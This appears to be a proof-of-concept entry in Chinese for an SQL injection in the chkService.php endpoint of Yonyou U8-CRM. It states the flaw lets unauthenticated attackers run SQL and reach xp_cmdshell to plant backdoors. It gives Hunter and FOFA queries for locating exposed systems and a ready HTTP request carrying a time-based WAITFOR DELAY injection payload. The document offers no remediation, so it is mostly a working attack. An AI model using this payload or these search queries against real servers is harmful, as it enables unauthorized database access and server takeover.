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30 lines
866 B
Markdown
30 lines
866 B
Markdown
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## 用友U8-CRM系统chkService.php存在SQL注入漏洞
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用友U8-CRM系统 /ajax/chkService.php 文件存在SQL注入漏洞，未经身份验证的攻击者通过漏洞执行任意SQL语句，调用xp_cmdshell写入后门文件，执行任意代码，从而获取到服务器权限。
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## hunter
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```jade
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app.name="用友 CRM"
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```
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## fofa
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```jade
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title="用友U8CRM"
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```
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## poc
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```javascript
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GET /ajax/chkService.php?Action=chkAccountNumExists&accountNum=1%27;WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Cookie: PHPSESSID=bgsesstimeout-;
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Connection: close
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```
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